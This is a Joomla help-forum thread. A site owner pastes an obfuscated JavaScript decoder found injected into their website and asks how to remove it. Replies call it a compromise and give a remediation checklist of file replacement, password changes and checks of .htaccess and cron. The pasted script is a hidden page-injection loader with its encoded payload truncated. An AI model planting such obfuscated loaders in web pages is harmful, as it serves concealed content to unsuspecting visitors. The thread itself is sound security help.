how do i remove this script from joomla

[alinaam]

how do i remove this script from joomla my wesite is alinaam .co .za

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<script language=JavaScript>function decrypt_p(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,44,5,8,53,0,37,23,33,51,0,0,0,0,0,0,38,20,28,11,4,18,9,35,39,40,2,31,41,26,47,60,6,49,55,36,56,24,27,46,48,43,42,0,0,0,0,58,0,54,17,22,10,14,21,16,12,13,15,30,19,32,1,7,61,3,45,62,34,52,57,25,29,50,59);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}decrypt_p("wyOX7lhy57IuhoBuiGv8AkU8iqh9JRBuUk36ocI47Vh@o<snip>Utv8V@LthjO4DGhXVk3")</script>

[toivo]

Your site must have been hacked. Go to the Security forum at http://forum.joomla.org/viewforum.php?f=432, read the announcements to find out what you can do to replace the infected files in your site and how to improve security in general. It is likely that you will need to replace all files and also change the passwords.

[mandville]

[ ] Run the forum post assistant and security tool Instructions available here

[ ] Ensure you have the latest version of Joomla. Delete all files in your Joomla installation. Replace the deleted files with fresh copies of a current full version of Joomla, and fresh copies of extensions and templates used. Only by replacing all files in the installation (including extensions and templates) can you be sure to remove the backdoors inserted and hidden in files and directories

[ ] Review Vulnerable Extensions List

[ ] Review and action Security Checklist checklist 7 to make sure you've gone through all of the steps.

[ ] Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc.

[ ] Change all passwords and if possible user names for the website host control panel and your Joomla site.

[ ] Use proper permissions on files and directories. They should never be 777, but ideal is 644 and 755

[ ] Check your htaccess for for any odd code (i.e. code which is not in the standard htaccess supplied as part of the Joomla installation).

[ ] Check the crontab or Task Scheduler for unexpected jobs/tasks.